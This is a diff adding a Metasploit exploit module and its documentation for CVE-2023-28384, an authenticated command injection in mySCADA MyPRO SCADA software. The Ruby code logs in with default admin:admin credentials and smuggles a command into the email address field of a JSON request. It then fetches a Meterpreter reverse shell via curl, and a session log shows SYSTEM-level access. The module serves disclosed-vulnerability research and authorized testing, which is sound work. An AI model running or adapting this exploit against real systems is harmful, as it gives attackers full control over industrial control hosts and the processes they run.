Land #19337, MySCADA MyPRO Command Injection module

documentation/modules/exploit/windows/scada/mypro_cmdexe.md

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+## Vulnerable Application
+
+**Vulnerability Description**
+
+This module exploits a command injection vulnerability in mySCADA MyPRO <= v8.28.0 (CVE-2023-28384).
+
+An authenticated remote attacker can exploit this vulnerability to inject arbitrary OS commands, which will get executed in the context of
+`NT AUTHORITY\SYSTEM`.
+This module uses the default admin:admin credentials, but any account configured on the system can be used to exploit this issue.
+
+Versions <= 8.28.0 are affected. CISA published [ICSA-23-096-06](https://www.cisa.gov/news-events/ics-advisories/icsa-23-096-06) to cover
+the security issues. The official changelog for the updated version, v8.29.0, is available
+[here](https://web.archive.org/web/20230320130928/https://www.myscada.org/changelog/?section=version-8-29-0), although it only mentions a
+"General security improvement" without further details.
+
+**Vulnerable Application Installation**
+
+A trial version of the software can be obtained from [the vendor](http://nsa.myscada.org/myPRO/WIN/myPRO_x64_8.28.0.exe).
+For the product to work correctly, the project and log directories need to be configured first, which can be done through the web inteface
+(navigate to System > Storage).
+
+**Successfully tested on**
+
+- mySCADA MyPRO 8.28.0 on Windows 10 22H2
+- mySCADA MyPRO 8.27.0 on Windows 10 22H2
+- mySCADA MyPRO 8.26.0 on Windows 10 22H2
+
+## Verification Steps
+
+1. Install the application
+2. Configure the project and log paths (System > Storage in the web interface, running by default on TCP ports 80 & 443)
+3. Start `msfconsole` and run the following commands:
+
+```
+msf6 > use exploit/windows/scada/mypro_cmdexe
+[*] No payload configured, defaulting to cmd/windows/http/x64/meterpreter/reverse_tcp
+msf6 exploit(windows/scada/mypro_cmdexe) > set RHOSTS <IP>
+msf6 exploit(windows/scada/mypro_cmdexe) > exploit
+```
+
+You should get a meterpreter session in the context of `NT AUTHORITY\SYSTEM`.
+
+## Options
+### USERNAME
+
+The username of a MyPRO user (default: admin)
+
+### PASSWORD
+
+The associated password of the MyPRO user (default: admin)
+
+## Scenarios
+
+Running the exploit against MyPRO v8.28.0 on Windows 10 22H2, using curl as a fetch command, should result in an output similar to the
+following:
+
+```
+msf6 exploit(windows/scada/mypro_cmdexe) > exploit
+
+[*] Started reverse TCP handler on 192.168.1.241:4444 
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable.
+[*] Checking credentials...
+[+] Credentials are working.
+[*] Sending command injection...
+[*] Sending stage (201798 bytes) to 192.168.1.239
+[*] Meterpreter session 12 opened (192.168.1.241:4444 -> 192.168.1.239:57382) at 2024-07-23 23:38:12 -0400
+[*] Exploit finished, check thy shell.
+
+meterpreter > shell
+Process 2632 created.
+Channel 1 created.
+Microsoft Windows [Version 10.0.19045.4651]
+(c) Microsoft Corporation. All rights reserved.
+
+C:\WINDOWS\system32>whoami
+whoami
+nt authority\system
+```

modules/exploits/windows/scada/mypro_cmdexe.rb

@@ -0,0 +1,157 @@
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+  include Msf::Exploit::Remote::HttpClient
+  prepend Msf::Exploit::Remote::AutoCheck
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'mySCADA MyPRO Authenticated Command Injection (CVE-2023-28384)',
+        'Description' => %q{
+          Authenticated Command Injection in MyPRO <= v8.28.0 from mySCADA.
+          The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of NT AUTHORITY\SYSTEM.
+        },
+        'License' => MSF_LICENSE,
+        'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module
+        'References' => [
+          [ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-23-096-06'],
+          [ 'CVE', '2023-28384']
+        ],
+        'DisclosureDate' => '2022-09-22',
+        'Platform' => 'win',
+        'Arch' => [ ARCH_CMD ],
+        'Targets' => [
+          [
+            'Windows_Fetch',
+            {
+              'Arch' => [ ARCH_CMD ],
+              'Platform' => 'win',
+              'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },
+              'Type' => :win_fetch
+            }
+          ]
+        ],
+        'DefaultTarget' => 0,
+
+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'Reliability' => [REPEATABLE_SESSION],
+          'SideEffects' => [IOC_IN_LOGS]
+        }
+      )
+    )
+
+    register_options(
+      [
+        OptString.new(
+          'USERNAME',
+          [ true, 'The username to authenticate with (default: admin)', 'admin' ]
+        ),
+        OptString.new(
+          'PASSWORD',
+          [ true, 'The password to authenticate with (default: admin)', 'admin' ]
+        ),
+        OptString.new(
+          'TARGETURI',
+          [ true, 'The URI for the MyPRO web interface', '/' ]
+        )
+      ]
+    )
+  end
+
+  # Determine if the MyPRO instance runs a vulnerable version
+  def check
+    begin
+      res = send_request_cgi({
+        'method' => 'POST',
+        'uri' => normalize_uri(target_uri.path, 'l.fcgi'),
+        'vars_post' => {
+          't' => '98'
+        }
+      })
+    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
+      return CheckCode::Unknown
+    end
+
+    if res && res.code == 200
+      data = res.get_json_document
+      version = data['V']
+      if version.nil?
+        return CheckCode::Unknown
+      else
+        vprint_status('Version retrieved: ' + version)
+      end
+
+      if Rex::Version.new(version) <= Rex::Version.new('8.28')
+        return CheckCode::Appears
+      else
+        return CheckCode::Safe
+      end
+    else
+      return CheckCode::Unknown
+    end
+  end
+
+  def exploit
+    execute_command(payload.encoded)
+  end
+
+  def execute_command(cmd)
+    print_status('Checking credentials...')
+    check_auth
+    print_status('Sending command injection...')
+    exec_mypro(cmd)
+    print_status('Exploit finished, check thy shell.')
+  end
+
+  # Check if credentials are working
+  def check_auth
+    res = send_request_cgi({
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path, 'sss2'),
+      'headers' => {
+        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
+      }
+    })
+
+    unless res
+      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
+    end
+    case res.code
+    when 200
+      print_good('Credentials are working.')
+    when 401
+      fail_with(Failure::NoAccess, 'Unauthorized access. Are your credentials correct?')
+    else
+      fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
+    end
+  end
+
+  # Send command injection
+  def exec_mypro(cmd)
+    post_data = {
+      'type' => 'sendEmail',
+      'addr' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com\"&&#{cmd}"
+    }
+    post_json = JSON.generate(post_data)
+
+    res = send_request_cgi({
+      'method' => 'POST',
+      'ctype' => 'application/json',
+      'data' => post_json,
+      'uri' => normalize_uri(target_uri.path, 'sss2'),
+      'headers' => {
+        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
+      }
+
+    })
+
+    # We don't fail if no response is received, as the server will wait until the injected command got executed before returning a response. Typically, this will simply result in a 504 Gateway Time-out error after some time, but there is no indication on whether the injected payload got successfully executed or not from the server response.
+
+    if res && res.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned.
+      print_good('Command successfully executed, check your shell.')
+    end
+  end
+
+end